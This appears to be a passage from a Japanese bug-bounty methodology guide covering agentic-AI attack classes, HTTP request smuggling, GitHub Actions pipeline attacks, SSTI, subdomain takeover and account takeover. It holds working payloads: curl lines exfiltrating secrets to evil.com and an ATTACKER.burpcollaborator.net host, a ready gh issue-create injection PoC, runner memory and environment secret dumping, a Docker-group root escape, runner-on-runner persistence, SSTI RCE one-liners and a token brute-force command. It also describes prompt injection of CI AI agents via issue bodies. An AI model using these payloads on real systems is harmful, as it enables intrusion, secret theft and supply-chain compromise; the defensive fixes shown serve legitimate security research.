- ASCIIスマグリング(LLM出力に含まれる不可視のUnicode文字)
エージェント型AIの調査(OWASP ASI01-ASI10)
対象にコマンドラインへアクセスできるAIエージェントがある場合、以下の10種類の攻撃クラスを調査します。
| ID | 脆弱性クラス | テスト内容 |
|---|---|---|
| ASI01 | プロンプトインジェクション | ユーザー入力を介してシステムプロンプトを上書きし、エージェントにルールを無視させます |
| ASI02 | ツールの不正使用 | 攻撃者が制御するパラメーターでAIにツールを呼び出させます(「URLを取得」を介したSSRF、コード実行コマンドラインを介したRCE) |
| ASI03 | データの持ち出し | コンテキストを漏えいさせる細工されたプロンプトを介して、学習データ/PIIを抽出します |
| ASI04 | 権限昇格 | AIを使って管理者専用ツールにアクセスします。エージェントはユーザーよりも広い権限を持ちます |
| ASI05 | 間接的なインジェクション | AIが処理するドキュメント/URLを汚染します。取得したコンテンツに隠された指示を埋め込みます |
| ASI06 | 過剰な自律性 | AIが確認なしに破壊的な操作(削除、送信、支払い)を実行します |
| ASI07 | モデルDoS | 無限ループ、過剰なトークン使用、OOMを引き起こす入力を作成します |
| ASI08 | 安全でない出力 | AIが出力内にXSS/SQLi/コマンドインジェクションを生成し、それがレンダリングされます |
| ASI09 | サプライチェーン | AIが呼び出す、侵害されたプラグイン/ツール/MCPサーバー |
| ASI10 | 機密情報の開示 | AIが内部設定、APIキー、システムプロンプト、ユーザーデータを明かします |
トリアージルール: ASI単独ではInformationalです。有償のバグ報奨金を得るには、IDOR/データの持ち出し/RCE/ATOとの連鎖が必要です。
キャッシュポイズニング/Webキャッシュ欺瞞
-
X-Forwarded-Host、X-Original-URL、X-Rewrite-URLをテストします。応答に反映される、キャッシュキーに含まれないヘッダーを確認します - パラメータークローク(
?param=value;poison=xss) - Fat GET(GETリクエストのボディーパラメーター)
- Webキャッシュ欺瞞(
/account/settings.css— キャッシュにプライベートな応答を保存させる) - Param Miner(Burpの拡張機能)— キャッシュキーに含まれないヘッダーを自動検出します
HTTPリクエストスマグリング
- CL.TE:フロントエンドはContent-Lengthを処理し、バックエンドはTransfer-Encodingを処理します
- TE.CL:フロントエンドはTransfer-Encodingを処理し、バックエンドはContent-Lengthを処理します
- H2.CL:HTTP/2のダウングレードを利用したスマグリング
- TEの難読化:
Transfer-Encoding: xchunked、タブのプレフィックス、スペースのプレフィックス - Burpの「HTTP Request Smuggler」拡張機能を使用します。自動的に検出できます
CL.TEの例
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
フロントエンドはContent-Length: 13を読み取り、すべてを送信します。バックエンドはTransfer-Encodingを読み取り、チャンク「0」を終端とみなします。「SMUGGLED」がバッファーに残り、次のユーザーのリクエストが汚染されます。
Android/モバイルの調査
- 証明書ピンニングの回避(Frida/objection)
- エクスポートされたアクティビティ/レシーバー(AndroidManifest.xml)
- ディープリンクインジェクション
- 平文で保存されたSharedPreferences/SQLite
- WebViewのJavaScriptブリッジ
- モバイルAPIでは、Web版より古い、または異なるAPIバージョンが使われていることがよくあります
CI/CD パイプライン — GitHub Actions のセキュリティ
ツール:sisakulint を自動 SAST に使用してください。52 個のルール、ステップ/ジョブ/再利用可能なワークフローをまたぐ汚染伝播、GitHub Security Advisories の 81.6%をカバー(38 件中 31 件の GHSA)しています。インストール:
brew install sisakulint、またはリリースからバイナリをダウンロードしてください。クイックスキャン:
sisakulint scan .github/workflows/— Critical/High の問題を、自動修正の提案とともに検出します。 リモートスキャン:sisakulint scan --remote owner/repo— クローンせずにスキャンします。
偵察:ワークフローファイルの検出
# Clone target's public repos, then:
find . -name "*.yml" -path "*/.github/workflows/*" | head -50
# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/
# Run sisakulint on all workflows:
sisakulint scan .github/workflows/
カテゴリー 1:コードインジェクションと式の安全性(CICD-SEC-04)
根本原因:信頼できない入力(github.event.issue.title、github.event.pull_request.body、ブランチ名、コミットメッセージ)が、${{ }} 式を介して run: ブロックに埋め込まれています。
汚染源(攻撃者が制御可能):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref
- 式インジェクション —
run:ブロック内の${{ github.event.issue.title }}= RCE# VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) # run: echo "${{ github.event.issue.title }}" # FIXED — use env var (shell-quoted, not expression-interpolated) env: TITLE: ${{ github.event.issue.title }} run: echo "$TITLE" - 環境変数インジェクション — 信頼できない入力 →
$GITHUB_ENV# VULNERABLE — attacker injects newline + arbitrary VAR=VALUE run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV # FIXED — use heredoc delimiter run: | { echo "BRANCH<<EOF" echo "${{ github.head_ref }}" echo "EOF" } >> $GITHUB_ENV - PATH インジェクション — 信頼できない入力 →
$GITHUB_PATH= 任意のバイナリの実行 - 出力の改ざん — ヒアドキュメントの区切り文字を使わずに信頼できない入力 →
$GITHUB_OUTPUT= 後続ジョブの操作 - 引数インジェクション — 信頼できない入力を CLI 引数として使用(例:
docker run ${{ ... }})# VULNERABLE run: docker run ${{ github.event.pull_request.body }} # FIXED — end-of-options marker + env var env: INPUT: ${{ github.event.pull_request.body }} run: docker run -- "$INPUT" - リクエスト偽造(SSRF) — ワークフロー内の
curl/wgetに攻撃者が制御する URL を指定
カテゴリー 2:パイプラインポイズニングと信頼できないチェックアウト
根本原因:特権トリガー(pull_request_target、workflow_run)で攻撃者の PR コードをチェックアウトし、そのコードがリポジトリのシークレットを使って実行されます。
- 信頼できないチェックアウト — 安全な ref を明示せず、
pull_request_targetでactions/checkoutを実行# VULNERABLE — checks out attacker's PR code with repo secrets on: pull_request_target jobs: build: steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # ATTACKER CODE - run: make build # runs attacker's Makefile with secrets # FIXED — only checkout base branch, or use read-only permissions permissions: {} steps: - uses: actions/checkout@v4 # checks out base branch by default - TOCTOU(チェック時と使用時の競合) — ラベルによる承認と変更可能な ref の組み合わせにより、攻撃者がラベルを追加し、承認後に悪意のあるコミットをプッシュできる
- 再利用可能なワークフローの汚染 —
secrets: inheritにより、信頼できない入力を処理する呼び出し先ワークフローにすべてのシークレットが渡される - キャッシュポイズニング — 信頼できないチェックアウト → ビルド → キャッシュへの書き込み → 信頼されたワークフローが汚染されたキャッシュを読み込む
- キャッシュポイズニング(汚染可能なステップ) — 安全でないチェックアウトの後、キャッシュ保存の前にビルドステップを実行
- アーティファクトポイズニング — 検証せずに、信頼できない
workflow_runからactions/download-artifactを実行# VULNERABLE — downloads artifact from untrusted workflow, then executes it on: workflow_run steps: - uses: actions/download-artifact@v4 - run: ./downloaded-binary # attacker-controlled binary # FIXED — verify artifact hash/signature before execution - Artipacked —
actions/checkoutのpersist-credentials: true(デフォルト)により、アップロードされたアーティファクト内の.git/configにある認証情報が漏えいする# FIXED - uses: actions/checkout@v4 with: persist-credentials: false
カテゴリー 3:サプライチェーンと依存関係のセキュリティ(CICD-SEC-08)
- ピン留めされていないアクション — SHA でピン留めせず、
uses: actions/checkout@v4(変更可能なタグ)を使用# VULNERABLE — tag can be force-pushed uses: actions/checkout@v4 # FIXED — pinned to immutable commit SHA uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - なりすましコミット — フォークネットワークにより、上流リポジトリのものに見える SHA のコミットをプッシュできる
- ref の混同 — あいまいなタグ名/ブランチ名を悪用して、意図しないバージョンのアクションを読み込む
- 既知の脆弱なアクション — GHSA データベースを使ってアクションを確認(sisakulint が自動検出)
- アーカイブ済みアクション — 脆弱性が修正されないままの、メンテナンスされていないアクション
- ピン留めされていないコンテナーイメージ — SHA256 ダイジェストでピン留めせず、
image: ubuntu:latestを使用
カテゴリー 4:認証情報とシークレットの保護
- シークレットの持ち出し — ワークフロー内で
curl https://evil.com/${{ secrets.TOKEN }}を実行 - アーティファクト内のシークレット — アップロードされたアーティファクトに
.env、認証情報、または隠しファイルが含まれる# FIXED — exclude hidden files - uses: actions/upload-artifact@v4 with: include-hidden-files: false - マスクされないシークレット —
fromJson()から派生した値が GitHub の自動マスキングを回避する# FIXED — manually mask derived secrets run: | TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token') echo "::add-mask::$TOKEN" - 過剰な
secrets: inherit— 必要なシークレットが 1 つだけなのに、再利用可能なワークフロー呼び出しですべてのシークレットを継承 - ハードコードされた認証情報 — API キー、パスワード、トークンをワークフロー YAML に直接記述
カテゴリ 5:トリガーとアクセス制御(CICD-SEC-01)
- 緩和策のない危険なトリガー —
permissions: {}、承認ゲート、ref 制限がないpull_request_targetまたはworkflow_run - 部分的な緩和策がある危険なトリガー — いくつかの保護策があるものの、回避可能
- ラベルベースの承認回避 —
if: contains(github.event.pull_request.labels.*.name, 'approved')は偽装可能です(攻撃者がラベルを追加できます) - ボット条件の偽装 —
if: github.actor != 'dependabot[bot]'は、似た名前のアカウントを作るだけで簡単に回避できます - GITHUB_TOKEN の過剰な権限 —
contents: readのみで十分なのにpermissions: write-allを設定 - 公開リポジトリでのセルフホストランナー — 信頼されていない PR が組織のインフラ上で実行されます。=コンテナ脱出 → ラテラルムーブメント
- OIDC トークンの窃取 — CI ランナーがクラウドへのアクセスを許可する OIDC トークンを公開します
カテゴリ 6:AI エージェントのセキュリティ(新規 — 2025年以降)
- 制限のない AI トリガー —
allowed_non_write_users: "*"により、あらゆるユーザーが AI エージェントの実行をトリガーできます - コマンドライン権限の過剰な付与 — 信頼されていないトリガーのコンテキストで AI エージェントに Bash/Write/Edittools を与えると、攻撃者のプロンプトから RCE につながります
- ワークフローコンテキストを介したプロンプトインジェクション —
${{ github.event.issue.body }}が AI エージェントのプロンプトパラメーターに埋め込まれています
ハンティングのワークフロー
1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
b. What secrets are accessible? (check permissions: block, secrets usage)
c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering
式インジェクションの PoC テンプレート
# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
# CVSS: 9.3 Critical (RCE with repo secrets)
実際に報奨金が支払われた GHSA
| GHSA | アクション | バグの種類 | 深刻度 |
|---|---|---|---|
| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | ブランチ名を介した式インジェクション | クリティカル |
| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | 特権トリガーでのコードインジェクション | クリティカル |
| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | ビルドログでのシークレット漏えい | クリティカル |
| GHSA-cxww-7g56-2vh6 | actions/download-artifact | アーティファクトの汚染(公式アクション) | 高 |
| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | 信頼されていないチェックアウトを介したキャッシュ汚染 | 高 |
| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | サプライチェーン — 偽装コミット | 高 |
| GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | コードインジェクションを介したトークン漏えい | クリティカル |
| GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | タグ固定を介した時限爆弾 | 高 |
| GHSA-vqf5-2xx6-9wfm | github/codeql-action | 既知の脆弱性がある公式アクション | 高 |
| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | ビルドワークフローでの引数インジェクション | 中 |
A→B シグナル:CI/CD チェーン
Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot
詳細解説:sisakulint の検出結果から報奨金レポートまで
sisakulint の検出結果は悪用される可能性があるというものであり、バグが確認されたことを意味するものではありません。検出結果はすべて手動で検証する必要があります。以下のパターンは、実際に報奨金が支払われた36件のレポート(支払総額25万ドル以上)から抽出したものです。各セクションでは、実際の報奨金につながった考え方を紹介します。
1. コードインジェクション/引数インジェクション
判定の質問: 外部の攻撃者がこのワークフローを実行でき、かつ汚染された入力がシェルコンテキストに到達しますか?
検証の深さ:
- トリガーへのアクセス可能性 —
issues: openedとissue_comment: createdは、すべての GitHub ユーザーがトリガーできます。pull_request_targetはフォークからの PR 経由でトリガーできます。アクターや関連付けでフィルタリングするif:条件があるか確認してください。 - 直接的な汚染と間接的な汚染 — ワークフローファイル自体は安全に見えることがあります。Cycode は、
cherry-picker.ymlが${{ github.event.issue.title }}をwith:経由で別のリポジトリのコンポジットアクション(bazelbuild/continuous-integration)に渡していたことから、Bazel の 13,000 ドルのバグを発見しました。このコンポジットアクションのaction.ymlにはrun: TITLE="${{ inputs.issue-title }}"がありました。従来のスキャナー(actionlint)は、uses:をたどって外部のコンポジットアクションを確認しないため、この問題を検出できませんでした。必ずコンポジットアクションのaction.ymlを取得して確認してください。 - ペイロードの構築 — ブランチ名にはスペースを含められません。Ultralytics YOLO の攻撃者は
${IFS}(内部フィールド区切り文字)と Bash のブレース展開{curl,-sSfL,URL}を使ってこれを回避しました。Issue のタイトルや本文には、このような制限はありません。 - シークレットへの到達可能性 — ワークフローとジョブの両方のレベルで
permissions:を確認してください。明示的なpermissions:ブロックがない場合は、リポジトリのデフォルト設定(多くの場合write-all)が使われます。${{ secrets.* }}を含むenv:ブロックがあるか確認してください。GITHUB_TOKENに書き込み権限があるか確認してください。 - 影響の連鎖 — Bazel の場合:Issue のタイトルへのインジェクション → コンポジットアクションのシェルインジェクション →
BAZEL_IO_TOKEN+GITHUB_TOKEN (write-all)→ Bazel コードベースにバックドアを仕込む能力(Google、Kubernetes、Uber、LinkedIn に影響)。
除外すべき兆候: ブール値を返す ${{ contains(...) }} や ${{ startsWith(...) }} はインジェクション可能ではありません。誤検知です。contains() 内の ${{ github.event.pull_request.labels.*.name }} はラベルのテキストではなく、true/false として評価されます。
2. 信頼できないチェックアウト(Pwn リクエスト)
判定の質問: ワークフローは攻撃者が制御するコードをチェックアウトし、そのチェックアウトから何かを実行しますか?
検証の深さ:
- 明示的なコード実行と暗黙的なコード実行 — Flank の 7,500 ドルのバグ:
gh pr checkout→gradle/gradle-build-actionが Gradle を実行 → Gradle がsettings.gradle.ktsを Kotlin スクリプトとして自動評価。攻撃者はrun:コマンドを一切記述していません。リポジトリ内の設定を読み込むビルドコマンドラインは、すべてコード実行の経路になります:Makefile、package.json(postinstall スクリプト)、setup.py、build.gradle.kts、.cargo/config.toml、Gemfile。 - issue_comment は pull_request_target と同じくらい危険です — Rspack の NPM トークン窃取:
issue_commentトリガーとrefs/pull/${{ github.event.issue.number }}/headのチェックアウト。issue_commentは完全なシークレットを利用できるベースリポジトリのコンテキストで実行されます。ドラフト PR も対象です。コントリビューターのステータスチェックもありません。issue_comment ワークフローでは、必ず PR のチェックアウトパターンを確認してください。 - セルフホストランナーの権限昇格 —
runs-on:にself-hostedが含まれている場合は、次を確認します:(a)ランナーはエフェメラルですか?(設定の--ephemeral)。(b)ランナーは Docker グループに属していますか?(docker run -v /:/host --privileged)。(c)PyTorch のパターン:コントリビューターの誘導(タイプミス修正の PR → マージ → コントリビューターのステータス取得 → 承認なしでセルフホストランナー上のワークフローが自動起動)→ RoR(Runner-on-Runner:RUNNER_TRACKING_ID=0+ 攻撃者のランナーエージェントをインストール)→ 特権ワークフローを待つ →.git/configまたはプロセスメモリから PAT を窃取。 - TOCTOU — ラベルで制御される
pull_request_targetワークフロー:攻撃者がラベルを付けてもらい(ソーシャルエンジニアリング)、ワークフローがラベルの存在を確認した後、チェックアウトの前に悪意のあるコミットをプッシュします。チェックアウト時にref:は新しいコミットを解決します。可変参照(トリガー時とチェックアウト時のgithub.event.pull_request.head.sha)が根本原因です。 - 侵入後の行動 — 最初のアクセス後、すべてのシークレットを列挙します:
env | base64、cat /proc/self/environ、gcore $(pgrep Runner.Worker)+strings core.* | grep ghp_。PyTorch の攻撃者は 3 つのボット PAT を取得し、それらを組み合わせて main のブランチ保護を回避しました。
阻止シグナル: if: "!github.event.pull_request.head.repo.fork" は外部の攻撃者をブロックします。ワークフローレベルで permissions: {} を設定し、ジョブレベルで contents: read のみを許可すると、被害を抑えられます。--ephemeral フラグを付けたエフェメラルランナーは、永続化を防ぎます。
3. アーティファクトポイズニング
判定質問: ステージ 1(pull_request、シークレットなし)でアーティファクトをアップロードし、ステージ 2(workflow_run、シークレットあり)でダウンロードして使用する、2 段階のワークフローパターンがありますか?
検証の深さ:
- ワークフロー間のアーティファクトの受け渡し — 同じワークフロー内でのアップロード/ダウンロード(
needs:を介したビルドジョブ → テストジョブ)は、攻撃者の PR が独自のビルドを実行するため、ポイズニングできません。危険なのは、pull_requestワークフローがアップロードし、別のworkflow_runワークフローがダウンロードするパターンです。workflow_runは別のワークフローの完了時にトリガーされ、シークレットに完全にアクセスできるデフォルトブランチのコンテキストで実行されます。 - ダウンロード先が重要 —
path: .やワークスペース相対パス(grafana-server/bin)を指定したactions/download-artifactは、ソースコード、ビルドスクリプト、バイナリを上書きする可能性があります。安全なパターンは、${{ runner.temp }}/artifactsに展開することです。 - ソースの検証 —
workflow_runの利用側は、github.event.workflow_run.head_repository.full_name != github.repositoryを確認していますか?確認していない場合、フォーク PR のアーティファクトが無条件で使用されます。Rust のリリースパイプラインは、まさにこの問題に対して脆弱でした。 - ArtiPACKED(persist-credentials) —
actions/checkoutのデフォルトはpersist-credentials: trueです。これにより、GITHUB_TOKENが.git/configに書き込まれます。アーティファクトのアップロード対象パスに.git/が含まれる場合(例:path: .)、Actions アーティファクトからトークンを誰でもダウンロードできてしまいます。確認事項:upload-artifactステップで、path: .や.git/を含む広い範囲を対象とするパスを指定していませんか?
危険性を否定できる兆候: アップロードとダウンロードが、needs: で連結された同じワークフロー実行内で行われること。workflow_run の利用側がフォーク由来かどうかを明示的に確認していること。チェックアウト時に persist-credentials: false が設定されていること。
4. キャッシュポイズニング
判定質問: フォーク PR がキャッシュエントリを書き込み、後でデフォルトブランチが特権コンテキストで復元する可能性がありますか?
重要:GitHub のキャッシュスコープでは、この問題を完全には防げません。 PR ブランチはデフォルトブランチのキャッシュを読み取れます。フォーク PR のワークフローはキャッシュエントリを書き込めます。キャッシュキーが決定論的(hashFiles('package-lock.json'))で、攻撃者がそのファイルを変更しない場合、フォーク PR は同じキャッシュキーに書き込みます。
検証の深さ:
- キーの予測可能性 —
key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}は完全に予測可能です。キーにgithub.shaやgithub.run_idを追加すると、予測できなくなります。すべてのキャッシュキーに、予測不可能な要素が含まれているか確認してください。 - キャッシュ階層の悪用 —
workflow_runおよびworkflow_dispatchワークフローは、デフォルトブランチのコンテキストで実行されます。これらが予測可能なキーでキャッシュを書き込む場合、上流のワークフローをトリガーできる攻撃者(フォーク PR 経由)が、事前にキャッシュをポイズニングできます。run-dashboard-search-e2e.ymlのパターンは、workflow_runトリガー →hashFiles()キーを使ったactions/cache→ すべての PR ワークフローがこのキャッシュを読み取る、というものです。 - ペイロードの注入 — Cacheract:パッケージマネージャーのキャッシュ(
node_modules/.cache、~/.cache/pip、~/.gradle/caches)にマルウェアを注入します。復元 → ビルド → 保存のサイクルごとにペイロードが保持されるため、マルウェアは自己増殖します。キャッシュの有効期間は 7 日間のため、ペイロードは複数回のワークフロー実行にわたって残存します。 - 特権コンテキストでの使用 — デフォルトブランチ上の
pushまたはscheduleワークフローでキャッシュが復元されます。これらのワークフローは、すべてのsecretsにアクセスできます。ポイズニングされた依存関係は、npm install/pip install/gradle buildの実行中に動作し、シークレットを外部に流出させます。 - Clinejection の連鎖 — プロンプトインジェクション → AI エージェントが攻撃者のコミットから
npm installを実行 → npm キャッシュ内の Cacheract → 夜間の公開ワークフローがキャッシュを復元 → VSCE_PAT、OVSX_PAT、NPM_RELEASE_TOKEN が盗まれる → 悪意のある Cline v2.3.0 が 8 時間にわたって公開される。
危険性を否定できる兆候: キャッシュキーに github.sha または github.run_id が含まれること。ワークフローごとにキャッシュキーが分かれていること。PR ワークフローで actions/cache(読み書き可能)の代わりに actions/cache/restore(読み取り専用)を使用していること。
5. セルフホストランナー
ゲート質問: 外部コントリビューターがワークフローをトリガーできる公開リポジトリで、セルフホストランナーを使用していますか?
検証の深さ:
- 承認設定 — デフォルトは「初めてのコントリビューターに承認を求める」です。PR が 1 件でもマージされると(誤字修正であっても)、攻撃者は「コントリビューター」となり、それ以降の PR は承認なしで自動的にトリガーされます。GitHub runner-images の 2 万ドルのバグでも、まさにこの手口が使われました。
- ランナーの永続性 — エフェメラルではないランナーは、ジョブ間で状態を保持します。
RUNNER_TRACKING_ID=0を設定すると、ジョブ完了後に攻撃者のプロセスがランナーによってクリーンアップされなくなります。デタッチされた Docker コンテナ(docker run -d --restart always)もクリーンアップを乗り越えて残ります。 - ランナー上のランナー(RoR) — 対象のセルフホストランナーに公式 GitHub Actions ランナーのバイナリをインストールし、攻撃者のプライベート組織に登録します。正規の GitHub バイナリと github.com への HTTPS 接続のみを使用するため、通常のランナートラフィックと見分けがつきません。C2 サーバーは不要です。GitHub 自体が C2 になります。
- ラテラルムーブメント — RoR による永続化 → 特権を持つ
push/scheduleワークフローを待機 →.git/config、$GITHUB_ENV、/proc/PID/environ、または Runner.Worker プロセスのメモリからトークンを窃取します。PyTorch の事例:ボット用 PAT 3 個 → 93 個のリポジトリ → AWS S3 への書き込みアクセス →pip install pytorchによるサプライチェーン攻撃。 - Docker グループ権限の昇格 —
docker run -v /:/host --privileged alpine chroot /host→ ホストの完全な root 権限。SSH キーの追加、sudoers の変更、永続的なバックドアのインストールを行います。
阻止要因: ランナー登録時に --ephemeral フラグを指定します。「初めてのコントリビューター」だけでなく「すべての外部コラボレーター」に承認を求めます。ランナーを Docker グループに所属させません。プライベートリポジトリ(外部からの PR なし)を使用します。
6. サプライチェーン(commit-sha/impostor-commit/ref-confusion)
ゲート質問: ワークフローでアクションに可変タグ(@v1、@v2)を使用しており、それらのタグが置き換えられる可能性はありますか?
検証の深さ:
- タグの可変性 —
git tag -f v1 <malicious-commit>でタグを置き換えられます。リポジトリの 98.4%は SHA ピン留めを使用していません(Legit Security 2024)。tj-actions 攻撃では、すべてのバージョンタグ(v1、v35、v45)が memdump.py ペイロードに置き換えられ、2 万 3 千のリポジトリが影響を受け、218 件のシークレット漏えいが確認されました。 - なりすましコミット — フォークネットワークは親リポジトリとオブジェクトストアを共有します。攻撃者がフォークにコミットをプッシュし、そのコミット SHA を親リポジトリの
uses:で参照します。SHA が共有オブジェクトストアに存在するため、GitHub はこれを解決します。 - RepoJacking — 組織名を変更するとリダイレクトが作成され、古い名前が利用可能になります。攻撃者は古い組織名を登録し、同じリポジトリを作成して、悪意のあるアクションをホストします。Shopify/unity-buy-sdk は
MirrorNG/unity-runnerを使用していましたが、MirrorNG が MirageNet に名前を変更したため、MirrorNGは取得可能になりました。確認方法:GET /users/<action-owner>が 404 を返しますか?乗っ取りが可能です。 - ペイロードの隠蔽 — tj-actions の memdump.py は、
/proc/PID/mapsと/proc/PID/memを使って Runner.Worker プロセスのメモリからシークレットを抽出し、AES+RSA で暗号化して、ワークフローログに出力します。ログは誰でも閲覧できますが、暗号化されており、鍵を持つのは攻撃者だけです。
阻止要因: 40 文字の完全な SHA でピン留めします(uses: actions/checkout@b4ffde65...)。github-actions エコシステム向けに Dependabot を設定します。組織レベルでアクションの許可リストを設定します。
7. AI エージェントのセキュリティ
判定質問: 外部ユーザーがプロンプトに影響を与えられるワークフローで、AI エージェント(Gemini CLI、Claude Code、Cline、Codex)が呼び出されていますか?
検証の深さ:
- トリガー + プロンプトのソース —
issues: opened→ AI トリアージボットがgithub.event.issue.bodyを読み取ります。本文そのものがプロンプトです。HTML コメント(``)は GitHub UI では見えませんが、API レスポンスには含まれるため、AI のプロンプトにも含まれます。 - ツールの権限 — AI エージェントに Bash/Write/Edittools があり、環境変数にシークレットを含んだ状態で実行される場合、プロンプトインジェクションは RCE + シークレットの窃取につながります。
allowed_non_write_users: "*"は、すべてのユーザーがトリガーできることを意味します。 - 複数フェーズの連鎖 — Clinejection:プロンプトインジェクション → AI が攻撃者のコミットから
npm installを実行 → Cacheract が npm キャッシュに仕込みを行う → 夜間の公開処理でキャッシュが復元される → トークンが盗まれる → 悪意あるバージョンが公開される。プロンプトインジェクションだけの発見では深刻度が低く見えるかもしれませんが、キャッシュポイズニングやサプライチェーン攻撃への入り口になり得ます。
即時終了の兆候: AI 処理の前に author_association == 'MEMBER' || 'OWNER' を確認している。AI CLI に --read-only --no-exec フラグが指定されている。ワークフローレベルで permissions: {} が設定されている。
8. 権限 / シークレットの衛生管理
単独ではバグではありません — これらは影響を増幅させます。permissions: write-all を伴う code-injection-medium は致命的です。同じインジェクションでも、permissions: { contents: read } なら影響は限定されます。
連鎖の確認項目:
- 再利用可能なワークフローの呼び出しに
secrets: inheritがある → 呼び出されたワークフローから組織のすべてのシークレットにアクセス可能 permissions:ブロックがない → リポジトリの既定値(多くの場合write-all)contents: writeを持つGITHUB_TOKEN→ CVE-2022-46258 のパターン:Contents API を使って新しいワークフローファイルを作成 → 新しいワークフローがリポジトリ / 組織のすべてのシークレットにアクセス(元のワークフローではそれらのシークレットを一切参照していない)
主な参考資料:
- sisaku-security/agent-idea/bugbountyreport — 実際の攻撃チェーンを含む、実例に基づく36件の報告
- sisakulint docs/advisory — 検出方法との対応付けを含む38件の GHSA
- DEF CON 32: Grand Theft Actions — Khan と Stawinski による、セルフホストランナーのバグで25万ドル以上の被害が発生した事例
- Synacktiv: GitHub Actions Exploitation (5 parts)
SSTI -- サーバーサイドテンプレートインジェクション
検出用ペイロード
{{7*7}} -> 49 = Jinja2 / Twig / generic
${7*7} -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako / some Ruby
*{7*7} -> 49 = Spring (Thymeleaf)
{{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49)
テストする場所
- 名前 / 自己紹介 / 説明のフィールド(プロフィールページ)
- メールテンプレート(請求書の名前、確認メール内のユーザー名)
- カスタムエラーメッセージ
- PDF 生成機能(請求書、レポートのエクスポート)
- URL パスパラメーター
- 検索結果に反映される検索クエリ
Jinja2 -> RCE(Python / Flask)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig -> RCE(PHP / Symfony)
{{["id"]|filter("system")}}
Freemarker -> RCE(Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
ERB -> RCE(Ruby on Rails)
<%= `id` %>
サブドメイン乗っ取り
検出
# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
即時判定用フィンガープリント
"There isn't a GitHub Pages site here" -> GitHub Pages
"NoSuchBucket" -> AWS S3
"No such app" -> Heroku
"404 Web Site not found" -> Azure App Service
"Fastly error: unknown domain" -> Fastly CDN
"project not found" -> GitLab Pages
"It looks like you may have typed..." -> Shopify
影響の拡大
- 基本的な乗っ取り:target.com のサブドメインでページを配信する → 低 / 中
-
- Cookie:target.com が domain=.target.com を含む Cookie を設定している場合 → 認証情報の窃取 → 高
-
- OAuth リダイレクト:sub.target.com が登録済みの redirect_uri の場合 → ATO 連鎖 → 致命的
-
- CSP バイパス:sub.target.com が target の CSP に含まれている場合 → あらゆる場所で XSS が可能 → 致命的
ATO -- アカウント乗っ取り(完全な分類)
経路 1:パスワードリセットの汚染(Host ヘッダーインジェクション)
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
[email protected]
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
経路 2:リファラー漏えいによるリセットトークンの流出
リセットリンクをクリックした後、ページが外部リソースを読み込む場合、Referer ヘッダーを通じてトークンが外部ドメインに送信されます。
経路 3:予測可能 / 脆弱なリセットトークン
# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
経路 4:トークンが失効しない / 再利用できる
トークンをリクエスト → 2時間待つ → 使用する → まだ使えますか? トークン #1 をリクエスト → トークン #2 をリクエスト → トークン #1 を使用する → まだ使えますか?
経路 5:再認証なしでメールアドレスを変更
PUT /api/user/email
{"new_email": "[email protected]"}
# If no current_password required -> attacker changes email -> locks out victim
経路 6:OAuth アカウント連携の悪用
既存のアカウントに、異なるメールアドレスの OAuth アカウントを連携できますか?
パス 7:セッション固定
GET /login -> Set-Cookie session=XYZ をメモ -> ログイン -> セッション ID は変わりますか? 変わらない場合=セッション固定です。
クラウド/インフラの設定ミス
S3 / GCS / Azure Blob
# S3 public listing
